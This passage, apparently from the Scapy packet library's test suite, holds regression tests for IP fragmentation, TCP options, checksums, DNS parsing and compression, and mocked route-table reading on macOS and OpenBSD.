bytes assert all(len(p.payload) == 8 for p in frags[:-1]) assert len(frags[-1].payload) == ((payloadlen % fragsize) or fragsize) = Packet().fragment() and overloaded_fields pkt1 = Ether() / IP() / UDP() pkt2 = pkt1.fragment()[0] pkt3 = pkt2.__class__(raw(pkt2)) assert pkt1[IP].proto == pkt2[IP].proto == pkt3[IP].proto = Packet().fragment() already fragmented packets payloadlen = 1480 * 3 ffrags = (IP() / ("X" * payloadlen)).fragment(1480) ffrags = reduce(lambda x, y: x + y, (pkt.fragment(1400) for pkt in ffrags)) len(ffrags) == 6 * each fragment except the last one should have MF set assert all(p.flags == 1 for p in ffrags[:-1]) assert ffrags[-1].flags == 0 * fragment offset should be well computed plen = 0 for p in ffrags: assert p.frag == plen / 8 plen += len(p.payload) assert plen == payloadlen ############ ############ + TCP/IP tests ~ tcp = TCP options: UTO - basic build raw(TCP(options=[("UTO", 0xffff)])) == b"\x00\x14\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x60\x02\x20\x00\x00\x00\x00\x00\x1c\x04\xff\xff" = TCP options: UTO - basic dissection uto = TCP(b"\x00\x14\x00\x50\x00\x00\x00\x00\x00\x00\x00\x00\x60\x02\x20\x00\x00\x00\x00\x00\x1c\x04\xff\xff") uto[TCP].options[0][0] == "UTO" and uto[TCP].options[0][1] == 0xffff = TCP options: SAck - basic build raw(TCP(options=[(5, b"abcdefgh")])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x00\x00\x00\x00\x05\nabcdefgh\x00\x00" = TCP options: SAck - basic dissection sack = TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x00\x00\x00\x00\x05\nabcdefgh\x00\x00") sack[TCP].options[0][0] == "SAck" and sack[TCP].options[0][1] == (1633837924, 1701209960) = TCP options: SAckOK - basic build raw(TCP(options=[('SAckOK', b'')])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x04\x02\x00\x00" = TCP options: SAckOK - basic dissection sackok = TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x04\x02\x00\x00") sackok[TCP].options[0][0] == "SAckOK" and sackok[TCP].options[0][1] == b'' = TCP options: EOL - basic build raw(TCP(options=[(0, '')])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x00\x00\x00\x00" = TCP options: EOL - basic dissection eol = TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x00\x02\x00\x00") eol[TCP].options[0][0] == "EOL" and eol[TCP].options[0][1] == None = TCP options: malformed - build raw(TCP(options=[('unknown', b'')])) == raw(TCP()) = TCP options: malformed - dissection raw(TCP(b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x03\x00\x00\x00")) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00`\x02 \x00\x00\x00\x00\x00\x03\x00\x00\x00" = TCP options: wrong offset TCP(raw(TCP(dataofs=11)/b"o")) = TCP options: MPTCP - basic build using bytes raw(TCP(options=[(30, b"\x10\x03\xc1\x1c\x95\x9b\x81R_1")])) == b"\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x00\x00\x00\x00\x1e\x0c\x10\x03\xc1\x1c\x95\x9b\x81R_1" = TCP options: invalid data offset data = b'\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x1b\xb8\x00\x00\x02\x04\x05\xb4\x04\x02\x08\x06\xf7\xa26C\x00\x00\x00\x00\x01\x03\x03\x07' p = TCP(data) assert TCP in p and Raw in p and len(p.options) == 3 = TCP options: build oversized packet raw(TCP(options=[('TFO', (1607681672, 2269173587)), ('AltChkSum', (81, 27688)), ('TFO', (253281879, 1218258937)), ('Timestamp', (1613741359, 4215831072)), ('Timestamp', (3856332598, 1434258666))])) = TCP random options pkt = TCP() random.seed(0x2807) pkt = fuzz(pkt) options = pkt.options._fix() options if six.PY2: assert options == [('WScale', (32,)), ('NOP', ''), ('WScale', (145,)), ('WScale', (165,))] else: assert options in [[('TFO', (1822729092, 2707522527)), ('Mood', (b'\x19',)), ('WScale', (117,))], [('TFO', (725644109, 3830853589)), ('Timestamp', (2604802746, 4137267106)), ('WScale', (227,)), ('Timestamp', (38044154, 828782501)), ('AltChkSum', (126, 40603))]] = IP, TCP & UDP checksums (these tests highly depend on default values) pkt = IP() / TCP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c pkt = IP(len=40) / TCP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c pkt = IP(len=40, ihl=5) / TCP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c pkt = IP() / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c pkt = IP(len=50) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c pkt = IP(len=50, ihl=5) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c pkt = IP(options=[IPOption_RR()]) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c pkt = IP(len=54, options=[IPOption_RR()]) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c pkt = IP(len=54, ihl=6, options=[IPOption_RR()]) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c pkt = IP(options=[IPOption_Timestamp()]) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x2caa and bpkt.payload.chksum == 0x4b2c pkt = IP() / UDP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172 pkt = IP(len=28) / UDP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172 pkt = IP(len=28, ihl=5) / UDP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172 pkt = IP() / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17 pkt = IP(len=38) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17 pkt = IP(len=38, ihl=5) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17 pkt = IP(options=[IPOption_RR()]) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17 pkt = IP(len=42, options=[IPOption_RR()]) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17 pkt = IP(len=42, ihl=6, options=[IPOption_RR()]) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17 = IP with forced-length 0 p = IP()/TCP() p[IP].len = 0 p = IP(raw(p)) assert p.len == 0 = TCP payload with IP Total Length 0 data = b'1234567890abcdef123456789ABCDEF' pkt = IP()/TCP()/data pkt2 = IP(raw(pkt)) pkt2.len = 0 pkt3 = IP(raw(pkt2)) assert pkt3.load == data = DNS ~ dns * DNS over UDP pkt = IP(raw(IP(src="10.0.0.1", dst="8.8.8.8")/UDP(sport=RandShort(), dport=53)/DNS(qd=DNSQR(qname="secdev.org.")))) assert UDP in pkt and isinstance(pkt[UDP].payload, DNS) assert pkt[UDP].dport == 53 and pkt[UDP].length is None assert pkt[DNS].qdcount == 1 and pkt[DNS].qd.qname == b"secdev.org." * DNS over TCP pkt = IP(raw(IP(src="10.0.0.1", dst="8.8.8.8")/TCP(sport=RandShort(), dport=53, flags="P")/DNS(qd=DNSQR(qname="secdev.org.")))) assert TCP in pkt and isinstance(pkt[TCP].payload, DNS) assert pkt[TCP].dport == 53 and pkt[DNS].length is not None assert pkt[DNS].qdcount == 1 and pkt[DNS].qd.qname == b"secdev.org." = DNS frame with advanced decompression ~ dns a = b'\x01\x00^\x00\x00\xfb$\xa2\xe1\x90\xa9]\x08\x00E\x00\x01P\\\xdd\x00\x00\xff\x11\xbb\x93\xc0\xa8\x00\x88\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x01<*\x81\x00\x00\x84\x00\x00\x00\x00\x03\x00\x00\x00\x04\x01B\x019\x015\x019\x013\x014\x017\x013\x016\x017\x010\x012\x010\x01D\x018\x011\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x018\x01E\x01F\x03ip6\x04arpa\x00\x00\x0c\x80\x01\x00\x00\x00x\x00\x0f\x07Zalmoid\x05local\x00\x011\x01A\x019\x014\x017\x01E\x01A\x014\x01B\x01A\x01F\x01B\x012\x011\x014\x010\x010\x016\x01E\x01F\x017\x011\x01F\x012\x015\x013\x01E\x010\x011\x010\x01A\x012\xc0L\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`\x03136\x010\x03168\x03192\x07in-addr\xc0P\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x0c\x00\x02\x00\x08\xc0o\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0o\x00\x02\x00\x08\xc0\xbd\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\xbd\x00\x02\x00\x08\x00\x00)\x05\xa0\x00\x00\x11\x94\x00\x12\x00\x04\x00\x0e\x00\xc1&\xa2\xe1\x90\xa9]$\xa2\xe1\x90\xa9]' pkt = Ether(a) assert pkt.ancount == 3 assert pkt.arcount == 4 assert pkt.an[1].rdata == b'Zalmoid.local.' assert pkt.an[2].rdata == b'Zalmoid.local.' assert pkt.ar[1].nextname == b'1.A.9.4.7.E.A.4.B.A.F.B.2.1.4.0.0.6.E.F.7.1.F.2.5.3.E.0.1.0.A.2.ip6.arpa.' assert pkt.ar[2].nextname == b'136.0.168.192.in-addr.arpa.' pkt.show() = DNS frame with DNSRRSRV ~ dns b = Ether(b'33\x00\x00\x00\xfb$\xe3\x14M\x84\xc0\x86\xdd`\t\xc0f\x02b\x11\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x04*,\x03\xab+/\x14\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfb\x14\xe9\x14\xe9\x02b_\xd8\x00\x00\x84\x00\x00\x00\x00\x0b\x00\x00\x00\x06\x014\x011\x01F\x012\x01B\x012\x01B\x01A\x013\x010\x01C\x012\x01A\x012\x014\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x018\x01E\x01F\x03ip6\x04arpa\x00\x00\x0c\x80\x01\x00\x00\x00x\x00\x14\x0csCapys-fLuff\x05local\x00\x03177\x010\x03168\x03192\x07in-addr\xc0P\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`\x01E\x01F\x017\x01D\x01B\x018\x014\x01C\x014\x01B\x016\x01E\x015\x017\x018\x010\x010\x016\x01E\x01F\x017\x011\x01F\x012\x015\x013\x01E\x010\x011\x010\x01A\x012\xc0L\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc0`+24:e3:14:4d:84:c0@fe80::26e3:14ff:fe4d:84c0\x0e_apple-mobdev2\x04_tcp\xc0m\x00\x10\x80\x01\x00\x00\x11\x94\x00\x01\x00\t_services\x07_dns-sd\x04_udp\xc0m\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x02\xc1\x12\x08521805b3\x04_sub\xc1\x12\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x02\xc0\xe6\xc1\x12\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x02\xc0\xe6\xc0\xe6\x00!\x80\x01\x00\x00\x00x\x00\x08\x00\x00\x00\x00~\xf2\xc0`\xc0`\x00\x1c\x80\x01\x00\x00\x00x\x00\x10\xfe\x80\x00\x00\x00\x00\x00\x00\x04*,\x03\xab+/\x14\xc0`\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x00\xb1\xc0`\x00\x1c\x80\x01\x00\x00\x00x\x00\x10*\x01\x0e5/\x17\xfe`\x08u\xe6\xb4\xc4\x8b\xd7\xfe\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x0c\x00\x02\x00\x08\xc0t\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0t\x00\x02\x00\x08\xc0\x98\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x98\x00\x02\x00\x08\xc0\xe6\x00/\x80\x01\x00\x00\x11\x94\x00\t\xc0\xe6\x00\x05\x00\x00\x80\x00@\xc0`\x00/\x80\x01\x00\x00\x00x\x00\x08\xc0`\x00\x04@\x00\x00\x08\x00\x00)\x05\xa0\x00\x00\x11\x94\x00\x12\x00\x04\x00\x0e\x00\xcf&\xe3\x14M\x84\xc0$\xe3\x14M\x84\xc0') assert isinstance(b.an[7], DNSRRSRV) assert b.an[7].target == b'sCapys-fLuff.local.' assert b.an[6].rrname == b'_apple-mobdev2._tcp.local.' assert b.an[6].rdata == b'24:e3:14:4d:84:c0@fe80::26e3:14ff:fe4d:84c0._apple-mobdev2._tcp.local.' = DNS frame with decompression hidden args ~ dns c = b'\x01\x00^\x00\x00\xfb\x14\x0cv\x8f\xfe(\x08\x00E\x00\x01C\xe3\x91@\x00\xff\x11\xf4u\xc0\xa8\x00\xfe\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x01/L \x00\x00\x84\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05_raop\x04_tcp\x05local\x00\x00\x0c\x00\x01\x00\x00\x11\x94\x00\x1e\x1b140C768FFE28@Freebox Server\xc0\x0c\xc0(\x00\x10\x80\x01\x00\x00\x11\x94\x00\xa0\ttxtvers=1\x08vs=190.9\x04ch=2\x08sr=44100\x05ss=16\x08pw=false\x06et=0,1\x04ek=1\ntp=TCP,UDP\x13am=FreeboxServer1,2\ncn=0,1,2,3\x06md=0,2\x07sf=0x44\x0bft=0xBF0A00\x08sv=false\x07da=true\x08vn=65537\x04vv=2\xc0(\x00!\x80\x01\x00\x00\x00x\x00\x19\x00\x00\x00\x00\x13\x88\x10Freebox-Server-3\xc0\x17\xc1\x04\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x00\xfe' pkt = Ether(c) assert DNS in pkt assert pkt.an.rdata == b'140C768FFE28@Freebox Server._raop._tcp.local.' assert pkt.an.getlayer(DNSRR, type=1).rrname == b'Freebox-Server-3.local.' assert pkt.an.getlayer(DNSRR, type=1).rdata == '192.168.0.254' assert pkt.an.getlayer(DNSRR, type=16).rdata == [b'txtvers=1', b'vs=190.9', b'ch=2', b'sr=44100', b'ss=16', b'pw=false', b'et=0,1', b'ek=1', b'tp=TCP,UDP', b'am=FreeboxServer1,2', b'cn=0,1,2,3', b'md=0,2', b'sf=0x44', b'ft=0xBF0A00', b'sv=false', b'da=true', b'vn=65537', b'vv=2'] = DNS advanced building ~ dns pkt = DNS(qr=1, aa=1, rd=1) pkt.an = DNSRR(type=12, rrname='_raop._tcp.local.', rdata='140C768FFE28@Freebox Server._raop._tcp.local.')/DNSRR(rrname='140C768FFE28@Freebox Server._raop._tcp.local.', type=16, rdata=[b'txtvers=1', b'vs=190.9', b'ch=2', b'sr=44100', b'ss=16', b'pw=false', b'et=0,1', b'ek=1', b'tp=TCP,UDP', b'am=FreeboxServer1,2', b'cn=0,1,2,3', b'md=0,2', b'sf=0x44', b'ft=0xBF0A00', b'sv=false', b'da=true', b'vn=65537', b'vv=2'])/DNSRRSRV(rrname='140C768FFE28@Freebox Server._raop._tcp.local.', target='Freebox-Server-3.local.', port=5000, type=33, rclass=32769)/DNSRR(rrname='Freebox-Server-3.local.', rdata='192.168.0.254', rclass=32769, type=1, ttl=120) pkt = DNS(raw(pkt)) assert DNSRRSRV in pkt.an assert pkt[DNSRRSRV].target == b'Freebox-Server-3.local.' assert pkt[DNSRRSRV].rrname == b'140C768FFE28@Freebox Server._raop._tcp.local.' assert isinstance(pkt[DNSRRSRV].payload, DNSRR) assert pkt[DNSRRSRV].payload.rrname == b'Freebox-Server-3.local.' assert pkt[DNSRRSRV].payload.rdata == '192.168.0.254' = Basic DNS Compression ~ dns assert len(pkt) == 426 z = pkt.compress() assert len(z) == 295 assert z.an[0].rrname == b'_raop._tcp.local.' assert z.an[0].rdata == b'\x1b140C768FFE28@Freebox Server\xc0\x0c' assert z.an[1].rrname == z.an[2].rrname == b'\xc0(' assert z.an[2].target == b'\x10Freebox-Server-3\xc0\x17' assert z.an[3].rrname == b'\xc1\x04' raw(z) assert raw(z) == b'\x00\x00\x85\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05_raop\x04_tcp\x05local\x00\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x1e\x1b140C768FFE28@Freebox Server\xc0\x0c\xc0(\x00\x10\x00\x01\x00\x00\x00\x00\x00\xa0\ttxtvers=1\x08vs=190.9\x04ch=2\x08sr=44100\x05ss=16\x08pw=false\x06et=0,1\x04ek=1\ntp=TCP,UDP\x13am=FreeboxServer1,2\ncn=0,1,2,3\x06md=0,2\x07sf=0x44\x0bft=0xBF0A00\x08sv=false\x07da=true\x08vn=65537\x04vv=2\xc0(\x00!\x80\x01\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x13\x88\x10Freebox-Server-3\xc0\x17\xc1\x04\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x00\xfe' recompressed = DNS(raw(z)) recompressed.clear_cache() recompressed.an[0].rdlen = None recompressed.an[1].rdlen = None recompressed.an[2].rdlen = None recompressed.an[3].rdlen = None assert raw(recompressed) == raw(pkt) = DNS frames with MX records ~ dns frame = b'E\x00\x00\xa4\x93\x1d\x00\x00y\x11\xdc\xfc\x08\x08\x08\x08\xc0\xa8\x00w\x005\xb4\x9b\x00\x90k\x80\x00\x00\x81\x80\x00\x01\x00\x05\x00\x00\x00\x00\x06google\x03com\x00\x00\x0f\x00\x01\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\x11\x00\x1e\x04alt2\x05aspmx\x01l\xc0\x0c\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\t\x00\x14\x04alt1\xc0/\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\t\x002\x04alt4\xc0/\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\t\x00(\x04alt3\xc0/\xc0\x0c\x00\x0f\x00\x01\x00\x00\x02B\x00\x04\x00\n\xc0/' pkt = IP(frame) results = [x.exchange for x in pkt.an.iterpayloads()] assert results == [b'alt2.aspmx.l.google.com.', b'alt1.aspmx.l.google.com.', b'alt4.aspmx.l.google.com.', b'alt3.aspmx.l.google.com.', b'aspmx.l.google.com.'] pkt.clear_cache() assert raw(dns_compress(pkt)) == frame = Advanced dns_get_str tests ~ dns assert dns_get_str(b"\x06cheese\x00blobofdata....\x06hamand\xc0\x0c", 22, _fullpacket=True)[0] == b'hamand.cheese.' compressed_pkt = b'\x01\x00^\x00\x00\xfb\xa0\x10\x81\xd9\xd3y\x08\x00E\x00\x01\x14\\\n@\x00\xff\x116n\xc0\xa8F\xbc\xe0\x00\x00\xfb\x14\xe9\x14\xe9\x01\x00Ho\x00\x00\x84\x00\x00\x00\x00\x04\x00\x00\x00\x03\x03188\x0270\x03168\x03192\x07in-addr\x04arpa\x00\x00\x0c\x80\x01\x00\x00\x00x\x00\x0f\x07Android\x05local\x00\x019\x017\x013\x01D\x019\x01D\x01E\x01F\x01F\x01F\x011\x018\x010\x011\x012\x01A\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x010\x018\x01E\x01F\x03ip6\xc0#\x00\x0c\x80\x01\x00\x00\x00x\x00\x02\xc03\xc03\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8F\xbc\xc03\x00\x1c\x80\x01\x00\x00\x00x\x00\x10\xfe\x80\x00\x00\x00\x00\x00\x00\xa2\x10\x81\xff\xfe\xd9\xd3y\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0\x0c\x00\x02\x00\x08\xc0B\x00/\x80\x01\x00\x00\x00x\x00\x06\xc0B\x00\x02\x00\x08\xc03\x00/\x80\x01\x00\x00\x00x\x00\x08\xc03\x00\x04@\x00\x00\x08' Ether(compressed_pkt) = Decompression loop in dns_get_str ~ dns assert dns_get_str(b"\x04data\xc0\x0c", 0, _fullpacket=True)[0] == b"data.data." = Prematured end in dns_get_str ~ dns assert dns_get_str(b"\x06da", 0, _fullpacket=True)[0] == b"da." assert dns_get_str(b"\x04data\xc0\x01", 0, _fullpacket=True)[0] == b"data." = Other decompression loop in dns_get_str ~ dns s = b'\x00\x00\x84\x00\x00\x00\x00\x02\x00\x00\x00\x06\x0bGourmandise\x04_smb\x04_tcp\x05local\x00\x00!\x80\x01\x00\x00\x00x\x00\x14\x00\x00\x00\x00\x01\xbd\x0bGourmandise\xc0"\x0bGourmandise\x0b_afpovertcp\xc0\x1d\x00!\x80\x01\x00\x00\x00x\x00\x08\x00\x00\x00\x00\x02$\xc09\xc09\x00\x1c\x80\x01\x00\x00\x00x\x00\x10\xfe\x80\x00\x00\x00\x00\x00\x00\x00s#\x99\xca\xf7\xea\xdc\xc09\x00\x01\x80\x01\x00\x00\x00x\x00\x04\xc0\xa8\x01x\xc09\x00\x1c\x80\x01\x00\x00\x00x\x00\x10*\x01\xcb\x00\x0bD\x1f\x00\x18k\xb1\x99\x90\xdf\x84.\xc0\x0c\x00/\x80\x01\x00\x00\x00x\x00\t\xc0\x0c\x00\x05\x00\x00\x80\x00@\xc0G\x00/\x80\x01\x00\x00\x00x\x00\t\xc0G\x00\x05\x00\x00\x80\x00@\xc09\x00/\x80\x01\x00\x00\x00x\x00\x08\xc09\x00\x04@\x00\x00\x08' DNS(s) = DNS record type 16 (TXT) p = DNS(raw(DNS(id=1,ra=1,an=DNSRR(rrname='scapy', type='TXT', rdata="niceday", ttl=1)))) assert p[DNS].an.rdata == [b"niceday"] p = DNS(raw(DNS(id=1,ra=1,an=DNSRR(rrname='secdev', type='TXT', rdata=["sweet", "celestia"], ttl=1)))) assert p[DNS].an.rdata == [b"sweet", b"celestia"] assert raw(p) == b'\x00\x01\x01\x80\x00\x00\x00\x01\x00\x00\x00\x00\x06secdev\x00\x00\x10\x00\x01\x00\x00\x00\x01\x00\x0f\x05sweet\x08celestia' = DNS - Malformed DNS over TCP message try: p = IP(IP(raw(IP()/TCP()/DNS(length=28))[:-13])) assert False except Scapy_Exception as e: assert str(e) == "Malformed DNS message: too small!" try: p = IP(raw(IP()/TCP()/DNS(length=28, qdcount=1))) assert False except Scapy_Exception as e: assert str(e) == "Malformed DNS message: invalid length!" = Layer binding * Test DestMACField & DestIPField pkt = Ether(raw(Ether()/IP()/UDP(dport=5353)/DNS())) assert isinstance(pkt, Ether) and pkt.dst == '01:00:5e:00:00:fb' pkt = pkt.payload assert isinstance(pkt, IP) and pkt.dst == '224.0.0.251' pkt = pkt.payload assert isinstance(pkt, UDP) and pkt.dport == 5353 pkt = pkt.payload assert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload) * Same with IPv6 pkt = Ether(raw(Ether()/IPv6()/UDP(dport=5353)/DNS())) assert isinstance(pkt, Ether) and pkt.dst == '33:33:00:00:00:fb' pkt = pkt.payload assert isinstance(pkt, IPv6) and pkt.dst == 'ff02::fb' pkt = pkt.payload assert isinstance(pkt, UDP) and pkt.dport == 5353 pkt = pkt.payload assert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload) ############ ############ + Mocked read_routes() calls = Truncated netstat -rn output on OS X ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.get_if_addr") @mock.patch("scapy.arch.unix.os") def test_osx_netstat_truncated(mock_os, mock_get_if_addr): """Test read_routes() on OS X 10.? with a long interface name""" # netstat & ifconfig outputs from https://github.com/secdev/scapy/pull/119 netstat_output = u""" Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default 192.168.1.1 UGSc 460 0 en1 default link#11 UCSI 1 0 bridge1 127 127.0.0.1 UCS 1 0 lo0 127.0.0.1 127.0.0.1 UH 10 2012351 lo0 """ ifconfig_output = u"lo0 en1 bridge10\n" # Mocked file descriptors def se_popen(command): """Perform specific side effects""" if command.startswith("netstat -rn"): return StringIO(netstat_output) elif command == "ifconfig -l": ret = StringIO(ifconfig_output) def unit(): return ret ret.__call__ = unit ret.__enter__ = unit ret.__exit__ = lambda x,y,z: None return ret raise Exception("Command not mocked: %s" % command) mock_os.popen.side_effect = se_popen # Mocked get_if_addr() behavior def se_get_if_addr(iface): """Perform specific side effects""" if iface == "bridge1": oserror_exc = OSError() oserror_exc.message = "Device not configured" raise oserror_exc return "1.2.3.4" mock_get_if_addr.side_effect = se_get_if_addr # Test the function from scapy.arch.unix import read_routes scapy.arch.unix.DARWIN = True scapy.arch.unix.FREEBSD = False scapy.arch.unix.NETBSD = False scapy.arch.unix.OPENBSD = False routes = read_routes() assert(len(routes) == 4) assert([r for r in routes if r[3] == "bridge10"]) test_osx_netstat_truncated() = macOS 10.13 ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.get_if_addr") @mock.patch("scapy.arch.unix.os") def test_osx_10_13_ipv4(mock_os, mock_get_if_addr): """Test read_routes() on OS X 10.13""" # 'netstat -rn -f inet' output netstat_output = u""" Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default 192.168.28.1 UGSc 82 0 en0 127 127.0.0.1 UCS 0 0 lo0 127.0.0.1 127.0.0.1 UH 1 878 lo0 169.254 link#5 UCS 0 0 en0 192.168.28 link#5 UCS 4 0 en0 192.168.28.1/32 link#5 UCS 2 0 en0 192.168.28.1 88:32:9c:f5:4e:ea UHLWIir 40 37 en0 1177 192.168.28.2 62:aa:56:4b:51:54 UHLWI 0 0 en0 619 192.168.28.4 38:17:ed:9a:58:28 UHLWIi 1 6 en0 428 192.168.28.18/32 link#5 UCS 1 0 en0 192.168.28.18 88:32:9c:f5:4e:eb UHLWI 0 1 lo0 192.168.28.28 04:0e:eb:11:74:a7 UHLWI 0 0 en0 576 224.0.0/4 link#5 UmCS 1 0 en0 224.0.0.251 1:0:5e:0:0:fb UHmLWI 0 0 en0 255.255.255.255/32 link#5 UCS 0 0 en0 """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked get_if_addr() output def se_get_if_addr(iface): """Perform specific side effects""" import socket if iface == "en0": return "192.168.28.18" return "127.0.0.1" mock_get_if_addr.side_effect = se_get_if_addr # Test the function from scapy.arch.unix import read_routes scapy.arch.unix.DARWIN = False scapy.arch.unix.FREEBSD = True scapy.arch.unix.NETBSD = False scapy.arch.unix.OPENBSD = False routes = read_routes() for r in routes: print(r) assert(len(routes) == 15) default_route = [r for r in routes if r[0] == 0][0] assert default_route[3] == "en0" and default_route[4] == "192.168.28.18" test_osx_10_13_ipv4() = macOS 10.15 ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.get_if_addr") @mock.patch("scapy.arch.unix.os") def test_osx_10_15_ipv4(mock_os, mock_get_if_addr): """Test read_routes() on OS X 10.15""" # 'netstat -rn -f inet' output netstat_output = u""" Routing tables Internet: Destination Gateway Flags Netif Expire default 192.168.122.1 UGSc en0 127 127.0.0.1 UCS lo0 127.0.0.1 127.0.0.1 UH lo0 169.254 link#8 UCS en0 ! 192.168.122 link#8 UCS en0 ! 192.168.122.1/32 link#8 UCS en0 ! 192.168.122.1 52:54:0:c0:b7:af UHLWIir en0 1169 192.168.122.63/32 link#8 UCS en0 ! 224.0.0/4 link#8 UmCS en0 ! 224.0.0.251 1:0:5e:0:0:fb UHmLWI en0 255.255.255.255/32 link#8 UCS en0 ! """ # Mocked file descriptor strio = StringIO(netstat_output) mock_os.popen = mock.MagicMock(return_value=strio) # Mocked get_if_addr() output def se_get_if_addr(iface): """Perform specific side effects""" import socket if iface == "en0": return "192.168.122.42" return "127.0.0.1" mock_get_if_addr.side_effect = se_get_if_addr # Test the function from scapy.arch.unix import read_routes scapy.arch.unix.DARWIN = False scapy.arch.unix.FREEBSD = True scapy.arch.unix.NETBSD = False scapy.arch.unix.OPENBSD = False routes = read_routes() for r in routes: print(r) assert len(routes) == 11 default_route = [r for r in routes if r[0] == 0][0] assert default_route[3] == "en0" and default_route[4] == "192.168.122.42" test_osx_10_15_ipv4() = OpenBSD 6.3 ~ mock_read_routes_bsd import mock from io import StringIO @mock.patch("scapy.arch.unix.OPENBSD") @mock.patch("scapy.arch.unix.os") def test_openbsd_6_3(mock_os, mock_openbsd): """Test read_routes() on OpenBSD 6.3""" # 'netstat -rn -f inet' output netstat_output = u""" Routing tables Internet: Destination Gateway Flags Refs Use Mtu Prio Iface default 10.0.1.254 UGS 0 0 - 8 bge0 224/4 